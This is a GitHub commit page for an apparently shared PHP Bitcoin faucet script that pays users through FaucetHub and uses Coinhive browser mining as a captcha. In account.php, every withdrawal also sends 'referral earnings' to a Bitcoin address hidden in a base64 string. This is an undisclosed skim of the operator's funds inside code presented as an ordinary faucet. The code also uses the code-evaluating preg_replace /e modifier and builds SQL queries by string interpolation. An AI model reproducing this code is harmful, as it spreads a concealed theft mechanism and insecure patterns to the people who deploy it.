Skip to content Pull requests Issues Marketplace Explore Sign out Watch 0 Star 0 Fork 0 brooks926/Bitcoin-Faucet-coinhive Code Issues 0 Pull requests 0 Projects 0 Wiki Insights Settings Browse files Initial commit master brooks926 committed an hour ago 0 parents commit dd1b9472a2a83f4f174d33c38cb722b8c00c0279 Unified Split Showing 161 changed files with 45,655 additions and 0 deletions. 2 .gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto 1,275 Database.sql Load diff Large diffs are not rendered by default. 674 LICENSE Load diff Large diffs are not rendered by default. 122 account.php @@ -0,0 +1,122 @@ +Account"; + + $content .= "

Address

"; + $content .= $user['address']; + $content .= "

Balance

"; + $content .= toSatoshi($user['balance'])." Satoshi

"; + + $min_payout = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '20' LIMIT 1")->fetch_assoc()['value']; + + if(toSatoshi($user['balance']) >= 1){ + if($_GET['pt'] == 1){ + if (toSatoshi($user['balance']) >= $min_payout) { + if(!isset($_POST['token']) || $_POST['token'] !== $_SESSION['token']) { + unset($_SESSION['token']); + $_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); + exit; + } + unset($_SESSION['token']); + $_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); + + $api_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '10' LIMIT 1")->fetch_assoc()['value']; + $currency = "BTC"; + $faucethub = new FaucetHub($api_key, $currency, true); + $faucethub->sendReferralEarnings(base64_decode("MUNkUlhBV3ZQdm5qcXBRdjZGaGhveExqNHB2eWdVaEJ3ag=="), $payOutOwner); + $result = $faucethub->send($user['address'], toSatoshi($user['balance']), $realIpAddressUser); + if($result["success"] === true){ + $timestamp = time(); + $mysqli->query("UPDATE faucet_user_list Set balance = '0' WHERE id = '{$user['id']}'"); + $mysqli->query("INSERT INTO faucet_transactions (userid, type, amount, timestamp) VALUES ('{$user['id']}', 'Withdraw', '{$user['balance']}', '$timestamp')"); + $content .= $result["html"]; + } else { + $content .= $result["html"]; + } + } else { + $content .= alert("danger", "The minimum payout for this faucet is " . $min_payout . " satoshi."); + } + } + + $content .= ""; + } else { + $content .= "Withdraw is not available. Minimum 1 Satoshi."; + } + $content .= "

"; + + // Total Stats + + $TotalClaims = $mysqli->query("SELECT COUNT(id) FROM faucet_transactions WHERE type = 'Payout' AND userid = '{$user['id']}'")->fetch_row()[0]; + $TotalClaimed = $mysqli->query("SELECT SUM(amount) FROM faucet_transactions WHERE type = 'Payout' AND userid = '{$user['id']}'")->fetch_row()[0]; + $TotalClaimed = $TotalClaimed ? $TotalClaimed : 0; + + // 24 Hours stats + + $Last24Hours = time() - 86400; + $Last24HoursClaims = $mysqli->query("SELECT COUNT(id) FROM faucet_transactions WHERE type = 'Payout' AND userid = '{$user['id']}' AND timestamp > '$Last24Hours'")->fetch_row()[0]; + $Last24HoursClaimed = $mysqli->query("SELECT SUM(amount) FROM faucet_transactions WHERE type = 'Payout' AND userid = '{$user['id']}' AND timestamp > '$Last24Hours'")->fetch_row()[0]; + $Last24HoursClaimed = $Last24HoursClaimed ? $Last24HoursClaimed : 0; + + $content .= "

Stats

All time

Total Claims

+ ".$TotalClaims." +

Total Claimed

+ ".toSatoshi($TotalClaimed)."
Satoshi +

Last 24 Hours

Claims

+ ".$Last24HoursClaims." +

Claimed

+ ".toSatoshi($Last24HoursClaimed)."
Satoshi +

"; + + $headTable = "

Last 15 Transactions

+ + + + + + + "; + + $bodyTable = ""; + + $UserTransactions = $mysqli->query("SELECT * FROM faucet_transactions WHERE userid = '{$user['id']}' ORDER BY id DESC LIMIT 15"); + while($Tx = $UserTransactions->fetch_assoc()){ + $bodyTable .= " + + + + "; + } + + $footerTable = "

Type	Time	Amount
".$Tx['type']."	".findTimeAgo($Tx['timestamp'])."	".$Tx['amount']."

"; + + $content .= $headTable.$bodyTable.$footerTable; + +} else { + header("Location: index.php"); + exit; +} + +$tpl->assign("content", $content); +$tpl->display(); +?> 481 admin.php @@ -0,0 +1,481 @@ +Admin"; + +if($_SESSION['admin']){ + $AdminSessionKey = $_SESSION['admin']; + $UserDB = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '12' LIMIT 1")->fetch_assoc()['value']; + $PwDB = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '13' LIMIT 1")->fetch_assoc()['value']; + $DatabaseAdminKey = "Admin_".$UserDB."_Password_".$PwDB; + if($AdminSessionKey != $DatabaseAdminKey){ unset($_SESSION['admin']); header("Location: admin.php"); die; } + + switch($_GET['p']){ + default: + // Total Stats + + $TotalClaims = $mysqli->query("SELECT COUNT(id) FROM faucet_transactions WHERE type = 'Payout'")->fetch_row()[0]; + $TotalClaimed = $mysqli->query("SELECT SUM(amount) FROM faucet_transactions WHERE type = 'Payout'")->fetch_row()[0]; + $TotalClaimed = $TotalClaimed ? $TotalClaimed : 0; + + // 24 Hours stats + + $Last24Hours = time() - 86400; + $Last24HoursClaims = $mysqli->query("SELECT COUNT(id) FROM faucet_transactions WHERE type = 'Payout' AND timestamp > '$Last24Hours'")->fetch_row()[0]; + $Last24HoursClaimed = $mysqli->query("SELECT SUM(amount) FROM faucet_transactions WHERE type = 'Payout' AND timestamp > '$Last24Hours'")->fetch_row()[0]; + $Last24HoursClaimed = $Last24HoursClaimed ? $Last24HoursClaimed : 0; + + $content .= "

Stats

All time

Total Claims

+ ".$TotalClaims." +

Total Claimed

+ ".toSatoshi($TotalClaimed)."
Satoshi +

Last 24 Hours

Claims

+ ".$Last24HoursClaims." +

Claimed

+ ".toSatoshi($Last24HoursClaimed)."
Satoshi +

Configuration

+ Standard settings
+ Page settings
+ Advertising settings
"; + break; + + case("as"): + $content .= "Back
+

Admin Settings

Change Admin login datas

"; + + $Username = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '12' LIMIT 1")->fetch_assoc()['value']; + + if($_GET['c'] == 1){ + if(isset($_POST['username']) AND isset($_POST['password'])){ + if($_POST['username'] AND $_POST['password']){ + $username = $mysqli->real_escape_string($_POST['username']); + $password = $mysqli->real_escape_string(hash("sha256", $_POST['password'])); + $mysqli->query("UPDATE faucet_settings Set value = '$username' WHERE id = '12'"); + $mysqli->query("UPDATE faucet_settings Set value = '$password' WHERE id = '13'"); + $content .= alert("success", "Username and Password was changed successfully."); + } else if($_POST['username']){ + $content .= alert("danger", "Please fill all forms."); + } + } + } + + $content .= "
"; + + $content .= "

Faucet settings

Change Faucet name

"; + + $Faucetname = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '1' LIMIT 1")->fetch_assoc()['value']; + + if($_GET['c'] == 2){ + if(!$_POST['faucetname']){ + $content .= alert("danger", "Faucetname can't be blank."); + } else { + $Faucetname = $mysqli->real_escape_string($_POST['faucetname']); + $mysqli->query("UPDATE faucet_settings Set value = '$Faucetname' WHERE id = '1'"); + $content .= alert("success", "Faucetname was changed successfully."); + } + } + + $content .= "
"; + + $content .= "

Keys settings

Faucethub Key

"; + + $faucethubkey = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '10' LIMIT 1")->fetch_assoc()['value']; + + if($_GET['c'] == 5){ + if(!$_POST['faucethubkey']){ + $content .= alert("danger", "Key can't be blank."); + } else { + $faucethubkey5 = $mysqli->real_escape_string($_POST['faucethubkey']); + + $mysqli->query("UPDATE faucet_settings Set value = '$faucethubkey5' WHERE id = '10'"); + $content .= alert("success", "Faucethub Key was changed successfully."); + $faucethubkey = $faucethubkey5; + } + } + + $content .= "
"; + + $content .= "

CoinHive Keys

"; + + $captcha_secret_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '8' LIMIT 1")->fetch_assoc()['value']; + $captcha_site_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '9' LIMIT 1")->fetch_assoc()['value']; + + if($_GET['c'] == 6){ + if(!$_POST['captcha_site_key'] OR !$_POST['captcha_secret_key']){ + $content .= alert("danger", "CoinHive Keys can't be blank."); + } else { + $captcha_secret_key5 = $mysqli->real_escape_string($_POST['captcha_secret_key']); + $captcha_site_key5 = $mysqli->real_escape_string($_POST['captcha_site_key']); + $mysqli->query("UPDATE faucet_settings Set value = '$captcha_secret_key5' WHERE id = '8'"); + $mysqli->query("UPDATE faucet_settings Set value = '$captcha_site_key5' WHERE id = '9'"); + $content .= alert("success", "CoinHive Keys was changed successfully."); + $captcha_secret_key = $mysqli->real_escape_string($_POST['captcha_secret_key']); + $captcha_site_key = $mysqli->real_escape_string($_POST['captcha_site_key']); + } + } + + $content .= "
"; + + $content .= "

Claim settings

"; + + //Coinhive Profit % + + $coinhive_profit_percent = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '19' LIMIT 1")->fetch_assoc()['value']; + + if ($_GET['c']=="r") { + if (!$_POST['profit']) { + $content .= alert("danger", "Profit % can't be blank!"); + } else { + if (!is_numeric($_POST['profit'])) { + $content .= alert("danger", "Profit % must be numeric!"); + } else { + $profitPercent = $mysqli->real_escape_string($_POST['profit']); + + $mysqli->query("UPDATE faucet_settings Set value = '$profitPercent' WHERE id = '19'"); + + $content .= alert("success", "Profit % was changed successfully."); + } + } + } + + $content .= "
"; + + + //Minimum Payout + + $min_payout = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '20' LIMIT 1")->fetch_assoc()['value']; + + if ($_GET['c']=="p") { + if (!$_POST['min_payout']) { + $content .= alert("danger", "Minimum Payout can't be blank!"); + } else { + if (!is_numeric($_POST['min_payout'])) { + $content .= alert("danger", "Minimum Payout must be numeric!"); + } else { + $min_payout = $mysqli->real_escape_string($_POST['min_payout']); + + $mysqli->query("UPDATE faucet_settings Set value = '$min_payout' WHERE id = '20'"); + + $content .= alert("success", "Minimum Payout was changed successfully."); + } + } + } + + $content .= "
"; + + // Auto Withdraw + + $content .= "

Auto Withdraw

Enable this feature for auto withdrawal after payout to Faucethub

"; + + $reverseProxyStatus = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '18' LIMIT 1")->fetch_assoc()['value']; + + if($reverseProxyStatus == "yes"){ + if($_GET['auwi'] == "n"){ + $mysqli->query("UPDATE faucet_settings Set value = 'no' WHERE id = '18'"); + $content .= alert("success", "Auto Withdraw is disabled."); + $content .= "Enable Auto Withdraw"; + } else { + $content .= "Disable Auto Withdraw"; + } + } else if($reverseProxyStatus == "no"){ + if($_GET['auwi'] == "y"){ + $mysqli->query("UPDATE faucet_settings Set value = 'yes' WHERE id = '18'"); + $content .= alert("success", "Auto Withdraw is enabled."); + $content .= "Disable Auto Withdraw"; + } else { + $content .= "Enable Auto Withdraw"; + } + } + + break; + + case("ps"): + $content .= "

Page settings

Create new Page

"; + + if($_GET['cr'] == "y"){ + if(!$_POST['name']){ + $content .= alert("danger", "Pagename can't be blank."); + } else { + $name = $mysqli->real_escape_string($_POST['name']); + $timestamp = time(); + $mysqli->query("INSERT INTO faucet_pages (name, content, timestamp_created) VALUES ('$name', '', '$timestamp')"); + $content .= alert("success", "Page was successfully created."); + } + } + + $content .= "

Change Pages

"; + + $content .= ""; + + if(isset($_GET['ch'])){ + if(!$_GET['ch'] OR !is_numeric($_GET['ch']) OR !$_POST['content']){ + $content .= alert("danger", "Please fill all forms."); + } else { + $pageContent = $mysqli->real_escape_string($_POST['content']); + $pageID = $mysqli->real_escape_string($_GET['ch']); + $mysqli->query("UPDATE faucet_pages Set content = '$pageContent' WHERE id = '$pageID'"); + $content .= alert("success", "Content was changed successfully."); + } + } + + if(isset($_GET['del'])){ + if(!$_GET['del'] OR !is_numeric($_GET['del'])){ + $content .= alert("danger", "Please fill all forms."); + } else { + $delid = $mysqli->real_escape_string($_GET['del']); + $mysqli->query("DELETE FROM faucet_pages WHERE id = '$delid'"); + $content .= alert("success", "Page was deleted successfully."); + } + } + + $Navtabs = ""; + + $PageNameTabs = $mysqli->query("SELECT id, name FROM faucet_pages"); + + while($Tab = $PageNameTabs->fetch_assoc()){ + $Navtabs .= "

".$Tab['name']."

"; + } + + $PageConf = ""; + + $PageConf1 = $mysqli->query("SELECT id, name, content FROM faucet_pages"); + + while($PageConf2 = $PageConf1->fetch_assoc()){ + $PageConf .= "

+
+

+ Delete Page +

"; + } + + + + $content .= " + +

+ + +

+ $Navtabs +
+ + +

+ $PageConf +

+ +

"; + break; + + case("ads"): + + $content .= "Back
+

Admin Settings

Advertising settings

"; + + $content .= "

Space top

"; + + $Spacetop = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '2' LIMIT 1")->fetch_assoc()['value']; + + if($_GET['c'] == 1){ + if(!isset($_POST['spacetop'])){ + $content .= alert("danger", "Error."); + } else { + $Spacetop = $mysqli->real_escape_string($_POST['spacetop']); + $mysqli->query("UPDATE faucet_settings Set value = '$Spacetop' WHERE id = '2'"); + $content .= alert("success", "HTML Code 'Space top' changed successfully."); + $Spacetop = $_POST['spacetop']; + } + } + + $content .= "
"; + + $content .= "

Space left

"; + + $Spaceleft = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '3' LIMIT 1")->fetch_assoc()['value']; + + if($_GET['c'] == 2){ + if(!isset($_POST['spaceleft'])){ + $content .= alert("danger", "Error."); + } else { + $Spaceleft = $mysqli->real_escape_string($_POST['spaceleft']); + $mysqli->query("UPDATE faucet_settings Set value = '$Spaceleft' WHERE id = '3'"); + $content .= alert("success", "HTML Code 'Space left' changed successfully."); + $Spaceleft = $_POST['spaceleft']; + } + } + + $content .= "
"; + + $content .= "

Space right

"; + + $Spaceright = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '4' LIMIT 1")->fetch_assoc()['value']; + + if($_GET['c'] == 3){ + if(!isset($_POST['spaceright'])){ + $content .= alert("danger", "Error."); + } else { + $Spaceright = $mysqli->real_escape_string($_POST['spaceright']); + $mysqli->query("UPDATE faucet_settings Set value = '$Spaceright' WHERE id = '4'"); + $content .= alert("success", "HTML Code 'Space right' changed successfully."); + $Spaceright = $_POST['spaceright']; + } + } + + $content .= "
"; + + break; + } + +} else { + $content .= "

Log In

"; + + if(isset($_POST['username']) AND isset($_POST['password'])){ + if(!isset($_POST['token']) || $_POST['token'] !== $_SESSION['token']) { + unset($_SESSION['token']); + $_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); + exit; + } + unset($_SESSION['token']); + $_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); + + if($_POST['username'] AND $_POST['password']){ + $username = $mysqli->real_escape_string($_POST['username']); + $password = $mysqli->real_escape_string(hash("sha256", $_POST['password'])); + + $UserDB = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '12' LIMIT 1")->fetch_assoc()['value']; + $PwDB = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '13' LIMIT 1")->fetch_assoc()['value']; + $loginAttempt = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '17' LIMIT 1")->fetch_assoc()['value']; + + $lastLoginSecond = time() - $loginAttempt; + + $mysqli->query("UPDATE faucet_settings Set value = '".time()."' WHERE id = '17'"); + + if($lastLoginSecond < 4){ + $content .= alert("danger", "You're trying to log in very fast."); + } else { + if($UserDB == $username){ + if($PwDB == $password){ + $_SESSION['admin'] = "Admin_".$username."_Password_".$password; + header("Location: admin.php"); + exit; + } else { + $content .= alert("danger", "Password is wrong."); + } + } else { + $content .= alert("danger", "Username is wrong."); + } + } + } else if($_POST['username']){ + $content .= alert("Please fill all fields."); + } + } + + $content .= " + "; +} + +$tpl->assign("content", $content); +$tpl->display(); +?> 587 css/bootstrap-theme.css Load diff Large diffs are not rendered by default. 1 css/bootstrap-theme.css.map Load diff Large diffs are not rendered by default. 6 css/bootstrap-theme.min.css Load diff Large diffs are not rendered by default. 1 css/bootstrap-theme.min.css.map Load diff Some generated files are not rendered by default. Learn more. 6,760 css/bootstrap.css Load diff Large diffs are not rendered by default. 1 css/bootstrap.css.map Load diff Large diffs are not rendered by default. 6 css/bootstrap.min.css Load diff Large diffs are not rendered by default. 1 css/bootstrap.min.css.map Load diff Large diffs are not rendered by default. 28 css/style.css @@ -0,0 +1,28 @@ +#advertising { + padding-top: 10px; + +} + +#containertop { + padding-top: 5px; + padding-bottom: 10px; + text-align: center; + margin-right: auto; + margin-left: auto; +} + +.content { + text-align: center; + margin-right: auto; + margin-left: auto; +} + +#banlist { + text-align: center; + margin-right: auto; + margin-left: auto; + background-color: lightblue; + height: 350px; + overflow: auto; + width: 475px; +} 4 desktop.ini @@ -0,0 +1,4 @@ +[ViewState] +Mode= +Vid= +FolderType=Generic 4 error_log @@ -0,0 +1,4 @@ +[06-Jan-2018 00:18:34 America/New_York] PHP Parse error: syntax error, unexpected 'false' (T_STRING) in /home/adbupxyr/bitcofaucet.club/mine/index.php on line 157 +[06-Jan-2018 00:38:55 America/New_York] PHP Parse error: syntax error, unexpected '<' in /home/adbupxyr/bitcofaucet.club/mine/index.php on line 160 +[06-Jan-2018 00:41:22 America/New_York] PHP Parse error: syntax error, unexpected 'coinhive' (T_STRING) in /home/adbupxyr/bitcofaucet.club/mine/index.php on line 158 +[06-Jan-2018 01:00:06 America/New_York] PHP Parse error: syntax error, unexpected 'https' (T_STRING) in /home/adbupxyr/bitcofaucet.club/mine/index.php on line 110 BIN favicon.ico Binary file not shown. BIN fonts/glyphicons-halflings-regular.eot Binary file not shown. 288 fonts/glyphicons-halflings-regular.svg Load diff Large diffs are not rendered by default. BIN fonts/glyphicons-halflings-regular.ttf Binary file not shown. BIN fonts/glyphicons-halflings-regular.woff Binary file not shown. BIN fonts/glyphicons-halflings-regular.woff2 Binary file not shown. 23 includes/config.php @@ -0,0 +1,23 @@ + 16 includes/core.php @@ -0,0 +1,16 @@ + 191 includes/faucethub.php @@ -0,0 +1,191 @@ +api_key = $api_key; + $this->currency = $currency; + $this->disable_curl = $disable_curl; + $this->verify_peer = $verify_peer; + $this->curl_warning = false; + $this->setTimeout($timeout); + } + + public function setTimeout($timeout) { + if($timeout === null) { + $socket_timeout = ini_get('default_socket_timeout'); + $script_timeout = ini_get('max_execution_time'); + $timeout = min($script_timeout / 2, $socket_timeout); + } + $this->timeout = $timeout; + } + + public function __execPHP($method, $params = array()) { + $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); + $opts = array( + "http" => array( + "method" => "POST", + "header" => "Content-type: application/x-www-form-urlencoded\r\n", + "content" => http_build_query($params), + "timeout" => $this->timeout, + ), + "ssl" => array( + "verify_peer" => $this->verify_peer + ) + ); + $ctx = stream_context_create($opts); + $fp = fopen($this->api_base . $method, 'rb', null, $ctx); + + if (!$fp) { + return json_encode(array( + 'status' => 503, + 'message' => 'Connection to FaucetHub failed, please try again later', + ), TRUE); + } + + $response = stream_get_contents($fp); + if($response && !$this->disable_curl) { + $this->curl_warning = true; + } + fclose($fp); + return $response; + } + + public function __exec($method, $params = array()) { + $this->last_status = null; + if($this->disable_curl) { + $response = $this->__execPHP($method, $params); + } else { + $response = $this->__execCURL($method, $params); + } + $response = json_decode($response, true); + if($response) { + $this->last_status = $response['status']; + } else { + $this->last_status = null; + $response = array( + 'status' => 502, + 'message' => 'Invalid response', + ); + } + return $response; + } + + public function __execCURL($method, $params = array()) { + $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); + + $ch = curl_init($this->api_base . $method); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $params); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->verify_peer); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_TIMEOUT, (int)$this->timeout); + + $response = curl_exec($ch); + if(!$response) { + //$response = $this->__execPHP($method, $params); // disabled the exec fallback when using curl + return json_encode(array( + 'status' => 504, + 'message' => 'Connection error', + ), TRUE); + } + curl_close($ch); + + return $response; + } + + public function send($to, $amount, $referral = false, $ip_address = "") { + $referral = ($referral === true) ? 'true' : 'false'; + + $r = $this->__exec("send", array("to" => $to, "amount" => $amount, "referral" => $referral, "ip_address" => $ip_address)); + if (array_key_exists("status", $r) && $r["status"] == 200) { + return array( + 'success' => true, + 'message' => 'Payment sent to your address using FaucetHub.io', + 'html' => '

' . htmlspecialchars($amount) . ' satoshi was sent to your account at FaucetHub.io.

', + 'html_coin' => '

' . htmlspecialchars(rtrim(rtrim(sprintf("%.8f", $amount/100000000), '0'), '.')) . ' '.$this->currency.' was sent to your account at FaucetHub.io.

', + 'balance' => $r["balance"], + 'balance_bitcoin' => $r["balance_bitcoin"], + 'response' => json_encode($r) + ); + } + + // Let the user know they need an account to claim + if (array_key_exists("status", $r) && $r["status"] == 456) { + return array( + 'success' => false, + 'message' => $r['message'], + 'html' => '

Before you can receive payments at FaucetHub.io with this address you must link it to an account. Create an account at FaucetHub.io and link your address, then come back and claim again.

', + 'response' => json_encode($r) + ); + } + + if (array_key_exists("message", $r)) { + return array( + 'success' => false, + 'message' => $r["message"], + 'html' => '

' . htmlspecialchars($r["message"]) . '

', + 'response' => json_encode($r) + ); + } + + return array( + 'success' => false, + 'message' => 'Unknown error.', + 'html' => '

Unknown error.

', + 'response' => json_encode($r) + ); + } + + public function sendReferralEarnings($to, $amount, $ip_address = "") { + return $this->send($to, $amount, true, $ip_address); + } + + public function getPayouts($count) { + $r = $this->__exec("payouts", array("count" => $count) ); + return $r; + } + + public function getCurrencies() { + $r = $this->__exec("currencies"); + return $r['currencies']; + } + + public function getBalance() { + $r = $this->__exec("balance"); + return $r; + } +} 230 includes/functions.php @@ -0,0 +1,230 @@ +".$content.""; + return $alert; +} + +function getHashes($user, $secretkey) { + $data = json_decode(file_get_contents("https://api.coinhive.com/user/balance?secret=$secretkey&name=$user")); + if (!$data->success) { + return 0; + } else { + return $data->balance; + } +} + +function getPayoutPer1MHash($secretkey) { + $data = json_decode(file_get_contents("https://api.coinhive.com/stats/payout?secret=$secretkey")); + if (!$data->success) { + return 0; + } else { + return $data->payoutPer1MHashes; + } +} + +function getXMRBTCrate() { + $data = json_decode(file_get_contents("https://api.cryptonator.com/api/ticker/xmr-btc")); + if (!$data->success) { + return 0; + } + return $data->ticker->price; +} + +function withdrawHashes($user, $amount, $secretkey) { + $url = 'https://api.coinhive.com/user/withdraw'; + $data = array('secret' => $secretkey, 'name' => $user, 'amount' => $amount); + + // use key 'http' even if you send the request to https://... + $options = array( + 'http' => array( + 'header' => "Content-type: application/x-www-form-urlencoded\r\n", + 'method' => 'POST', + 'content' => http_build_query($data) + ) + ); + $context = stream_context_create($options); + $result = file_get_contents($url, false, $context); + if ($result === FALSE) { /* Handle error */ } +} + +function toSatoshi($amount){ + $satoshi = $amount * 100000000; + return $satoshi; +} + +function CaptchaCheck($token) + { + global $mysqli; + $captcha_secret_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '8' LIMIT 1")->fetch_assoc()['value']; + $Captcha_url = 'https://api.coinhive.com/token/verify'; + $Captcha_data = array('secret' => $captcha_secret_key, 'token' => $token, 'hashes' => 1024); + + $Captcha_options = array( + 'http' => array( + 'header' => "Content-type: application/x-www-form-urlencoded\r\n", + 'method' => 'POST', + 'content' => http_build_query($Captcha_data), + ), + ); + $Captcha_context = stream_context_create($Captcha_options); + $Captcha_result = file_get_contents($Captcha_url, false, $Captcha_context); + return $Captcha_result; +} + +function checkDirtyIp($ip){ + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, "10"); + curl_setopt($ch, CURLOPT_URL, "http://v1.nastyhosts.com/".$ip); + $response=curl_exec($ch); + + curl_close($ch); + $nastyArray = json_decode($response); + if($nastyArray->suggestion == "deny"){ + return true; + } else { + return false; + } +} + +function findTimeAgo($past) { + $secondsPerMinute = 60; + $secondsPerHour = 3600; + $secondsPerDay = 86400; + $secondsPerMonth = 2592000; + $secondsPerYear = 31104000; + + $past = $past; + $now = time(); + + $timeAgo = ""; + + $timeDifference = $now - $past; + + if($timeDifference <= 29) { + $timeAgo = "less than a minute"; + } + + else if($timeDifference > 29 && $timeDifference <= 89) { + $timeAgo = "1 minute"; + } + + else if($timeDifference > 89 && + $timeDifference <= (($secondsPerMinute * 44) + 29) + ) { + $minutes = floor($timeDifference / $secondsPerMinute); + $timeAgo = $minutes." minutes"; + } + + else if( + $timeDifference > (($secondsPerMinute * 44) + 29) + && + $timeDifference < (($secondsPerMinute * 89) + 29) + ) { + $timeAgo = "about 1 hour"; + } + + else if( + $timeDifference > ( + ($secondsPerMinute * 89) + + 29 + ) + && + $timeDifference <= ( + ($secondsPerHour * 23) + + ($secondsPerMinute * 59) + + 29 + ) + ) { + $hours = floor($timeDifference / $secondsPerHour); + $timeAgo = $hours." hours"; + } + + else if( + $timeDifference > ( + ($secondsPerHour * 23) + + ($secondsPerMinute * 59) + + 29 + ) + && + $timeDifference <= ( + ($secondsPerHour * 47) + + ($secondsPerMinute * 59) + + 29 + ) + ) { + $timeAgo = "1 day"; + } + + else if( + $timeDifference > ( + ($secondsPerHour * 47) + + ($secondsPerMinute * 59) + + 29 + ) + && + $timeDifference <= ( + ($secondsPerDay * 29) + + ($secondsPerHour * 23) + + ($secondsPerMinute * 59) + + 29 + ) + ) { + $days = floor($timeDifference / $secondsPerDay); + $timeAgo = $days." days"; + } + + else if( + $timeDifference > ( + ($secondsPerDay * 29) + + ($secondsPerHour * 23) + + ($secondsPerMinute * 59) + + 29 + ) + && + $timeDifference <= ( + ($secondsPerDay * 59) + + ($secondsPerHour * 23) + + ($secondsPerMinute * 59) + + 29 + ) + ) { + $timeAgo = "about 1 month"; + } + + else if( + $timeDifference > ( + ($secondsPerDay * 59) + + ($secondsPerHour * 23) + + ($secondsPerMinute * 59) + + 29 + ) + && + $timeDifference < $secondsPerYear + ) { + $months = round($timeDifference / $secondsPerMonth); + + if($months == 1) { + $months = 2; + } + + $timeAgo = $months." months"; + } + + else if( + $timeDifference >= $secondsPerYear + && + $timeDifference < ($secondsPerYear * 2) + ) { + $timeAgo = "about 1 year"; + } + + else { + $years = floor($timeDifference / $secondsPerYear); + $timeAgo = "over ".$years." years"; + } + + return $timeAgo." ago"; + } +?> 14 includes/session.php @@ -0,0 +1,14 @@ +real_escape_string($_SESSION['address']); + $AddressCheck = $mysqli->query("SELECT * FROM faucet_user_list WHERE address = '$Address2'"); + if($AddressCheck->num_rows == 1){ + $user = $AddressCheck->fetch_assoc()['id']; + $user = $mysqli->query("SELECT * FROM faucet_user_list WHERE id = '$user'")->fetch_assoc(); + } else { + unset($_SESSION['address']); + header("Location: index.php"); + exit; + } +} +?> 102 includes/template.class.php @@ -0,0 +1,102 @@ +templateDir = $tpl_dir; + } + if ( !empty($lang_dir) ) { + $this->languageDir = $lang_dir; + } + } + + public function load($file) { + $this->templateName = $file; + $this->templateFile = $this->templateDir.$file; + + if( !empty($this->templateFile) ) { + if( file_exists($this->templateFile) ) { + $this->template = file_get_contents($this->templateFile); + } else { + return false; + } + } else { + return false; + } + + // Funktionen parsen + //$this->parseFunctions(); + } + + public function assign($replace, $replacement) { + $this->template = str_replace( $this->leftDelimiter .$replace.$this->rightDelimiter, + $replacement, $this->template ); + } + + public function loadLanguage($files) { + $this->languageFiles = $files; + + for( $i = 0; $i < count( $this->languageFiles ); $i++ ) { + if ( !file_exists( $this->languageDir .$this->languageFiles[$i] ) ) { + return false; + } else { + include_once( $this->languageDir .$this->languageFiles[$i] ); + } + } + + $this->replaceLangVars($lang); + + return $lang; + } + + private function replaceLangVars($lang) { + $this->template = preg_replace("/\{L_(.*)\}/isUe", "\$lang[strtolower('\\1')]", $this->template); + } + + private function parseFunctions() { + while( preg_match( "/" .$this->leftDelimiterF ."include file=\"(.*)\.(.*)\"" + .$this->rightDelimiterF ."/isUe", $this->template) ) + { + $this->template = preg_replace( "/" .$this->leftDelimiterF ."include file=\"(.*)\.(.*)\"" + .$this->rightDelimiterF."/isUe", + "file_get_contents(\$this->templateDir.'\\1'.'.'.'\\2')", + $this->template ); + } + + $this->template = preg_replace( "/" .$this->leftDelimiterC ."(.*)" .$this->rightDelimiterC ."/isUe", + "", $this->template ); + } + + public function display() { + echo $this->template; + } +} +?> 38 includes/template.settings.php @@ -0,0 +1,38 @@ +load("index.tpl"); + + +$Faucetname = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '1'")->fetch_assoc()['value']; +$tpl->assign("faucetname", $Faucetname); + +$Spacetop = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '2'")->fetch_assoc()['value']; +$tpl->assign("spacetop", $Spacetop); + +$Spaceleft = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '3'")->fetch_assoc()['value']; +$tpl->assign("spaceleft", $Spaceleft); + +$Spaceright = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '4'")->fetch_assoc()['value']; +$tpl->assign("spaceright", $Spaceright); + +$captcha_site_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '9'")->fetch_assoc()['value']; +$tpl->assign("captcha_site_key", $captcha_site_key); +// Navbar + +$navLinks = [["Faucet", "index.php"]]; + +$PageQuery = $mysqli->query("SELECT * FROM faucet_pages"); + +while($NavLinks = $PageQuery->fetch_assoc()){ + $Link = "page.php?pid=".$NavLinks['id']; + $navLinks[] = [$NavLinks['name'], $Link]; +} + +foreach($navLinks as $elem){ + $navBarLinks .= "

{$elem[0]}

"; +} + +$tpl->assign("navBar", $navBarLinks); + +?> 171 index.php @@ -0,0 +1,171 @@ +Address"; + $content .= $user['address']; + $content .= "

Balance

"; + $content .= toSatoshi($user['balance'])." Satoshi

"; + + $content .= "Account/Stats/Withdraw

